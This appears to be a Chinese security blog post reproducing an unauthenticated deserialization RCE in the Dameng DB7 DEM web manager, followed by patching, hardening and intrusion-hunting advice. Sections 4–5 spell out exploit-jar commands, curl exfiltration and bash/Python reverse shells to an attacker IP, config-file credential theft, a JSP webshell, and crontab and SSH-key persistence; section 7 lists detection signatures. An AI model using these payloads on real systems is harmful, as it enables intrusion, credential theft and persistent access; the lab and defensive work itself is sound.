达梦数据库DEM组件反序列化RCE漏洞(CNVD-2023-69447)复现与防御
1. 项目概述一次对国产数据库核心组件的深度安全审计最近在梳理一些国产化环境下的资产时又遇到了老朋友——达梦数据库。作为国内数据库领域的头部产品达梦在金融、政务等关键行业中的应用越来越广泛。随之而来的其安全性也成为了渗透测试和红队评估中无法绕过的一环。今天要聊的这个漏洞编号CNVD-2023-69447影响的是达梦数据库7版本中一个非常核心的Web管理组件达梦企业管理器DEM。这是一个典型的远程代码执行RCE漏洞攻击者无需任何身份认证就能在服务器上执行任意命令危害等级直接拉满。对于安全研究人员、企业运维和渗透测试工程师来说理解这个漏洞的成因、掌握其复现方法并在此基础上构建有效的检测与防御策略是当前国产软件安全评估中一项非常实用的技能。本文将从环境搭建开始一步步拆解漏洞原理手把手完成漏洞复现并分享在实际测试中积累的排查技巧和加固建议。2. 漏洞背景与核心原理深度解析2.1 达梦DEM组件定位与架构风险达梦企业管理器DM Enterprise Manager, DEM并非一个可有可无的插件它是达梦数据库官方提供的、基于B/S架构的图形化数据库管理平台。你可以把它理解为达梦版的“phpMyAdmin”或“Oracle Enterprise Manager”。运维人员通过浏览器访问DEM就能完成对达梦数据库实例的监控、管理、备份、性能调优等一系列操作极大地提升了管理便利性。然而便利性往往与安全性存在博弈。DEM作为一个独立的Java Web应用通常部署在Tomcat、WebLogic等中间件上并默认监听8080端口。它需要较高的权限来调用数据库底层的管理命令这就意味着一旦DEM应用本身存在安全缺陷攻击者就可能以此为跳板直接威胁到底层的数据库服务器甚至整个操作系统。从架构上看DEM处于一个“承上启下”的关键位置向上暴露Web接口向下拥有高权限这种特性使其成为攻击者眼中极具吸引力的目标。2.2 CNVD-2023-69447漏洞成因剖析这个RCE漏洞的本质是一个由不安全的反序列化和未授权访问共同导致的安全问题。它不是SQL注入也不是简单的文件上传其触发点在于DEM中一个用于处理特定类型请求的接口。简单来说攻击者可以向DEM服务器发送一个精心构造的HTTP请求。这个请求中携带了序列化后的恶意数据。由于DEM在接收并处理这个请求时对传入的数据进行了不安全的反序列化操作且没有进行有效的身份校验和输入过滤导致攻击者注入的恶意代码在服务器端被还原并执行。这里需要解释一下“反序列化”。在Java中序列化是将对象的状态信息转换为可以存储或传输的形式字节流的过程反序列化则是其逆过程。如果反序列化的数据源不可信攻击者就可以构造一个恶意的序列化对象在其中“夹带”执行系统命令的代码例如利用Apache Commons Collections等库中的危险链。当服务端程序毫无戒备地反序列化这个对象时夹带的代码就会被执行从而实现远程命令执行。更危险的是触发这个反序列化操作的接口往往是未授权的即不需要登录认证即可访问。这就将漏洞的利用门槛降到了最低变成了一个“网络可达即可利用”的高危漏洞。2.3 影响范围与严重性评估根据公开信息CNVD-2023-69447主要影响达梦数据库7版本中集成的DEM组件。具体的影响版本号需要参考达梦官方的安全公告。在实际测试中我们发现多个基于DM7的DEM默认安装实例均存在此问题。其严重性毋庸置疑高危等级直接获取服务器操作系统命令执行权限。攻击成本极低漏洞利用过程完全远程化、自动化通常一个curl命令或一个Python脚本即可完成攻击。危害极大攻击者可以借此植入后门、窃取数据库敏感信息、进行内网横向移动甚至破坏数据库服务导致业务中断。普遍存在由于是官方管理组件漏洞凡使用了受影响版本DEM的环境无论其业务系统本身代码是否安全都暴露在风险之下。3. 漏洞复现环境搭建与准备3.1 靶机环境部署为了安全且合法地研究漏洞我们必须在一个隔离的环境中搭建靶场。强烈建议使用虚拟机。3.1.1 操作系统与基础软件选择我选择在VMware中安装一台全新的CentOS 7.x虚拟机。选择CentOS 7是因为它在企业环境中仍有一定存量且部署过程典型。为虚拟机分配至少4GB内存和50GB磁盘空间因为数据库软件本身有一定资源消耗。3.1.2 达梦数据库7与DEM安装获取安装包从达梦官网下载达梦数据库7对应版本的Linux安装包通常是.iso镜像文件。请务必使用明确受漏洞影响的版本以用于验证。将镜像文件上传至虚拟机。挂载与安装# 创建挂载点并挂载ISO mkdir -p /mnt/dm mount -o loop /path/to/dm7_setup.iso /mnt/dm # 执行安装程序通常为DMInstall.bin cd /mnt/dm ./DMInstall.bin -i安装过程会以命令行交互方式进行。关键步骤包括选择安装语言。接受许可协议。选择安装类型这里务必选择“典型安装”或“完整安装”以确保DEM组件被一并安装。如果只安装客户端或服务器可能不会包含DEM。设置安装路径如/opt/dmdbms。配置数据库实例安装程序通常会提示是否初始化数据库。为了复现DEM漏洞我们可以选择“是”并设置dba用户默认SYSDBA的密码。创建DEM服务在后续配置中安装程序会询问是否创建DEM服务。必须选择“是”并设置DEM的访问端口默认8080和连接数据库的信息。启动服务# 启动DmAPService达梦辅助进程DEM依赖它 systemctl start DmAPService # 启动DEM服务通常注册为DmWebService systemctl start DmWebService验证安装在虚拟机内部或宿主机浏览器中访问http://靶机IP:8080。如果能看到达梦DEM的登录页面说明环境部署成功。此时先不要登录。注意安装过程中DEM数据库连接配置如果出错可能导致DEM服务启动失败。可以检查/opt/dmdbms/web/dem/WEB-INF/classes/config.properties文件确认数据库连接信息是否正确并确保数据库实例已启动 (systemctl start DmServiceDMSERVER)。3.2 攻击机环境与工具配置攻击机可以使用另一台虚拟机或者直接使用宿主机上的Kali Linux或配置了渗透测试工具的Windows/Mac。核心工具准备Java环境漏洞利用链依赖于Java库因此攻击机上需要安装JDK 8或11。# Kali/Debian/Ubuntu sudo apt update sudo apt install openjdk-11-jdk -y # 验证 java -version漏洞利用脚本互联网上已有安全研究人员公开了针对此漏洞的利用脚本例如基于ysoserial的定制化脚本。我们需要获取一个可靠的版本。这类脚本通常是一个Java程序接受目标URL和要执行的命令作为参数生成并发送恶意的序列化载荷。网络探测工具nmap用于扫描靶机开放端口确认8080端口存活。curl用于手动发送HTTP请求进行初步探测和回显验证。环境连通性检查 确保攻击机能ping通靶机并且能访问靶机的8080端口。# 从攻击机执行 ping 靶机IP curl -v http://靶机IP:8080如果curl能返回DEM的登录页面HTML代码说明网络通路和Web服务正常。4. 漏洞复现实操过程详解4.1 信息收集与漏洞初步探测在直接使用攻击脚本前进行一些手动探测可以加深对漏洞的理解并验证环境。服务指纹识别nmap -sV -p 8080 靶机IP观察返回结果通常会识别出Tomcat版本以及可能的应用名称。探测漏洞端点根据漏洞详情存在问题的接口路径可能类似于/dem/xxxServlet或/dem/xxx。我们可以通过查看DEM的web应用目录结构如果能有条件查看靶机文件的话或使用常见的Web接口路径字典进行模糊测试来发现。更直接的方式是参考公开漏洞描述中的确切路径。假设已知漏洞接口为/dem/api/v1/deserialize此为示例真实路径不同。手动发送测试请求# 尝试发送一个简单的POST请求观察响应 curl -X POST http://靶机IP:8080/dem/api/v1/deserialize -H Content-Type: application/json -d {test:data}如果接口存在且未授权可能会返回一个错误信息例如反序列化失败的具体异常如java.io.InvalidClassException。这个错误信息本身就是一个重要的线索它证实了该端点确实在进行反序列化操作。4.2 利用脚本生成与命令执行这是漏洞利用的核心环节。我们假设已经获得了一个名为DM7_DEM_RCE_exploit.jar的利用工具。理解利用脚本参数java -jar DM7_DEM_RCE_exploit.jar通常这类工具会显示用法例如Usage: java -jar DM7_DEM_RCE_exploit.jar target_url command其中target_url是完整的漏洞接口URLcommand是要在目标服务器上执行的系统命令。执行无回显命令盲注 最简单的测试是执行一个能产生外部交互或延迟的命令以验证漏洞是否存在。# 示例让目标服务器ping攻击机通过攻击机抓包验证 # 首先在攻击机监听ICMP包 sudo tcpdump -i eth0 icmp # 然后在另一个终端执行利用脚本 java -jar DM7_DEM_RCE_exploit.jar http://靶机IP:8080/dem/api/v1/deserialize ping -c 4 攻击机IP如果攻击机的tcpdump收到了来自靶机的ping回显请求包则证明命令执行成功漏洞真实存在。执行有回显命令 盲注只能验证无法获取命令输出。更实用的方法是让目标服务器将命令执行结果回传到攻击机。常见方法有DNS外带利用nslookup或dig将命令结果作为子域名发送到攻击机控制的DNS服务器。HTTP外带利用curl或wget将命令结果通过GET/POST请求发送到攻击机控制的Web服务器。反向Shell最彻底的方式直接获取一个交互式Shell。以简单的HTTP外带为例我们需要先在攻击机启动一个HTTP服务并监听# 在攻击机临时目录开启HTTP服务 python3 -m http.server 9999然后构造一个命令让靶机执行并将结果通过curl发送过来# 构造的命令执行 whoami并将结果通过curl发送给攻击机 # 注意需要对命令进行URL编码或合理拼接 java -jar DM7_DEM_RCE_exploit.jar http://靶机IP:8080/dem/api/v1/deserialize whoami | curl -X POST http://攻击机IP:9999 -d -观察攻击机Python HTTP服务的日志如果看到POST请求其body中包含了dmdba达梦数据库进程运行用户或root则说明成功获取了命令回显。4.3 获取交互式Shell对于渗透测试而言获得一个稳定的反向Shell是最终目标。攻击机监听 在攻击机上用netcat监听一个端口等待靶机连接。nc -lvnp 4444生成反向Shell命令 我们需要一个能在靶机上执行的、能连接到攻击机并启动Shell的命令。常用的方法是使用bash或python。Bash反向Shellbash -i /dev/tcp/攻击机IP/4444 01Python反向Shell如果靶机有Python环境python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);通过漏洞发送反向Shell命令 由于命令中包含特殊字符如、/、引号等直接放入利用脚本可能会被错误解析。通常有两种处理方式Base64编码将完整的bash或python命令进行base64编码然后在靶机上解码执行。# 编码bash命令 echo bash -i /dev/tcp/攻击机IP/4444 01 | base64 # 得到编码字符串假设为 YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo # 构造靶机执行命令 java -jar exploit.jar http://target:8080/dem/api/v1/deserialize echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo | base64 -d | bash利用脚本内置编码功能更成熟的利用工具会提供-e或--encode参数来自动处理命令编码。执行成功后观察攻击机的netcat监听窗口如果出现bash提示符可能是[dmdbalocalhost ~]$恭喜你已经获得了目标服务器的一个交互式Shell。5. 漏洞深度利用与权限提升思路5.1 信息收集与敏感文件探查拿到Shell后第一步不是盲目操作而是收集信息。# 查看当前用户和权限 id whoami # 查看操作系统和内核信息 uname -a cat /etc/os-release # 查看网络连接和监听端口 netstat -antp ss -lntp # 寻找达梦数据库安装目录和配置文件 find / -name \dmserver\ -type f 2/dev/null find / -name \dm.ini\ -type f 2/dev/null ls -la /opt/dmdbms/ # 探查DEM的配置文件可能包含数据库密码 find /opt/dmdbms/web/dem -name \*.properties\ -o -name \*.xml\ | xargs grep -l \password\ 2/dev/null这些信息对于理解环境、寻找进一步利用的突破口至关重要。5.2 数据库凭证获取与利用DEM需要连接达梦数据库其配置文件中极有可能保存了数据库连接密码而且这个账号通常具有高权限如SYSDBA。# 常见配置文件路径 cat /opt/dmdbms/web/dem/WEB-INF/classes/config.properties cat /opt/dmdbms/web/dem/WEB-INF/dbcp.properties如果成功获取到数据库用户名和密码可能是明文或弱加密就可以直接使用达梦数据库的命令行工具disql进行连接从而拥有完整的数据库操作权限进行数据窃取、篡改或持久化后门植入。# 使用获取的密码连接数据库 /opt/dmdbms/bin/disql SYSDBA/‘获取的密码’localhost:52365.3 权限维持与后门植入为了防止漏洞被修复后失去访问权限需要考虑权限维持。Web后门在DEM的Web目录下写入一个JSP或Servlet后门。# 例如写入一个简单的JSP Webshell到DEM应用目录 echo ‘% page import\java.util.*,java.io.*\%% if (request.getParameter(\cmd\) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(\cmd\)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } }%‘ /opt/dmdbms/web/dem/shell.jsp之后可以通过http://靶机IP:8080/dem/shell.jsp?cmdwhoami来执行命令。定时任务添加一个crontab任务定期连接回攻击机。(crontab -l 2/dev/null; echo \*/5 * * * * /bin/bash -c ‘exec bash -i /dev/tcp/攻击机IP/5555 1‘\) | crontab -SSH密钥植入如果服务器开放SSH且允许密钥登录可以尝试将攻击机的公钥写入靶机的~/.ssh/authorized_keys文件中。6. 漏洞修复方案与安全加固建议6.1 官方修复与补丁升级这是最根本、最推荐的解决方案。关注官方通告立即关注达梦数据库官方武汉达梦数据库股份有限公司发布的安全公告获取针对CNVD-2023-69447漏洞的官方补丁或修复版本。升级DEM组件或数据库版本按照官方指引将DEM组件升级到已修复漏洞的版本或者将整个达梦数据库升级到不受影响的新版本如达梦8的某些安全版本。测试升级在生产环境应用补丁前务必在测试环境进行充分验证确保补丁有效且不影响现有业务功能。6.2 临时缓解措施如果无法立即升级可以采取以下临时措施降低风险网络访问控制严格限制访问源在防火墙或安全组策略中将DEM默认8080端口的访问权限限制在最小范围仅允许特定的、可信的管理员IP地址段访问。禁止将DEM服务暴露在互联网上。使用VPN或堡垒机所有对DEM的访问必须通过内部VPN或跳板机堡垒机进行杜绝直连。应用层防护修改默认端口将DEM的监听端口从默认的8080改为一个不常见的端口。强化访问认证虽然漏洞本身是未授权访问但可以检查DEM是否支持配置更强的认证机制如与公司统一认证对接并确保所有管理账号使用强密码。部署WAF在DEM服务前端部署Web应用防火墙WAF并配置针对反序列化攻击、命令注入等行为的防护规则可以拦截大部分自动化攻击脚本。系统层加固最小权限原则运行DEM服务的操作系统账户如dmdba应仅被授予必要的最小权限。避免使用root账户运行。文件系统权限严格控制DEM应用目录/opt/dmdbms/web/dem的读写权限非必要不授予写权限防止Webshell写入。命令执行限制通过SELinux、AppArmor等安全模块或自定义的权限控制限制DEM进程所能执行的系统命令。6.3 安全监控与应急响应日志审计启用并集中收集达梦数据库、DEM应用Tomcat访问日志、应用日志以及操作系统的安全日志。监控对可疑路径如漏洞接口的访问请求特别是包含序列化数据特征如AC ED 00 05等魔术头的请求。入侵检测在服务器上部署HIDS主机入侵检测系统监控异常进程创建、网络外连、敏感文件读取等行为。应急响应预案一旦发现入侵迹象立即启动应急预案隔离受影响主机、排查后门、重置数据库密码、分析损失范围并在修复漏洞后恢复服务。7. 防御视角下的漏洞检测与排查技巧7.1 如何自查系统是否存在此漏洞作为运维或安全人员你可以通过以下步骤快速自查资产梳理检查网络中所有服务器是否安装了达梦数据库7并确认其DEM服务端口通常为8080是否开启。版本确认登录DEM管理界面如果可访问在“关于”或“系统信息”中查看DEM的具体版本号。或者检查DEM的安装目录下的版本文件。漏洞扫描使用专业的漏洞扫描器如Nessus, OpenVAS, 或国产的漏洞扫描产品对目标IP的8080端口进行扫描看是否能识别出CNVD-2023-69447漏洞。手动验证谨慎操作在授权和隔离环境下可以尝试使用公开的漏洞验证脚本POC进行无害化验证例如执行一个sleep 10命令观察响应是否有明显延迟。切记未经授权进行漏洞验证是违法行为。7.2 排查已发生攻击的痕迹如果怀疑系统已被利用应立即开展排查检查进程与网络连接# 查看是否有异常进程或网络连接 ps auxf | grep -E ‘(sh|bash|perl|python|nc|curl|wget)‘ | grep -v grep netstat -antp | grep ESTA | grep -v ‘:22\|:80\|:443\|:8080‘ lsof -i检查Web目录重点检查DEM的Web根目录及其子目录下是否有新增的、可疑的.jsp,.jspx,.war文件。find /opt/dmdbms/web/dem -type f -name \*.jsp\ -newer /path/to/reference_file 2/dev/null检查定时任务crontab -l -u dmdba crontab -l -u root ls -la /etc/cron.*/检查授权密钥cat ~dmdba/.ssh/authorized_keys cat /root/.ssh/authorized_keys分析日志Tomcat访问日志查看catalina.out或localhost_access_log.*.txt寻找对漏洞接口路径的异常访问记录特别是POST请求。系统命令历史检查~dmdba/.bash_history和/root/.bash_history看是否有异常命令。系统安全日志查看/var/log/secure(RHEL/CentOS) 或/var/log/auth.log(Debian/Ubuntu)寻找可疑的登录或权限变更记录。7.3 对安全产品的规则建议如果你负责安全运营或WAF规则维护可以针对此类漏洞的特征制定防护规则HTTP请求特征检测对特定路径如/dem/api/v1/deserialize等的POST请求。载荷特征检测HTTP请求体Body中是否包含Java序列化流的魔术头AC ED 00 05十六进制或者rO0ABBase64编码后的开头。命令特征检测请求参数或Body中是否包含Runtime.getRuntime().exec,ProcessBuilder,bash -c,curl,wget等可疑的命令执行关键词。流量异常监控从内部数据库管理平台向外部地址发起的、非常规的HTTP或DNS请求这可能是攻击者在进行数据外带。8. 从漏洞复现中提炼的安全思考这次对达梦DEM漏洞的复现不仅仅是一次技术练习更是一次对国产基础软件安全现状的近距离观察。有几点体会非常深刻第一默认安装的安全配置往往是最弱的。无论是DEM的未授权访问还是许多其他中间件、框架的默认弱口令、调试接口开放都遵循这一规律。在部署任何生产系统时安全加固清单必须作为上线前最后一道、也是必不可少的一道工序。关闭不需要的服务、修改默认端口、强化认证、按最小权限分配账户和文件权限这些基础工作能挡掉绝大部分自动化扫描和低水平攻击。第二供应链安全不容忽视。DEM作为达梦数据库的官方组件它的漏洞会波及所有使用该版本数据库的用户无论用户自身的业务代码写得多么安全。这就要求企业在引入第三方组件尤其是像数据库、中间件这样的核心基础软件时必须将其纳入统一的安全资产管理、漏洞监控和应急响应体系。不能抱有“用了知名厂商的产品就高枕无忧”的想法。第三漏洞研究是防御的基石。只有亲自动手复现过漏洞才能最真切地理解攻击者的思路、利用链的关节在哪里、攻击后会留下什么痕迹。这种“知己知彼”的经验对于制定有效的检测规则、编写精准的应急响应手册、对开发团队进行有针对性的安全培训价值远超阅读一份干巴巴的安全通告。我建议运维和安全人员在可控的实验室环境中多进行这样的复现练习。最后关于这个漏洞的后续在完成复现和加固后我习惯性地去检查了达梦8版本DEM的类似接口和配置。发现新版本在访问控制和输入处理上确实有了明显改进。这也印证了一个趋势安全正在从“事后补救”越来越多地转向“设计内置”。作为使用者我们的责任是及时跟进这些改进并保持持续的安全警觉。毕竟攻击者不会停下脚步我们的防御体系也必须是一个动态演进的过程。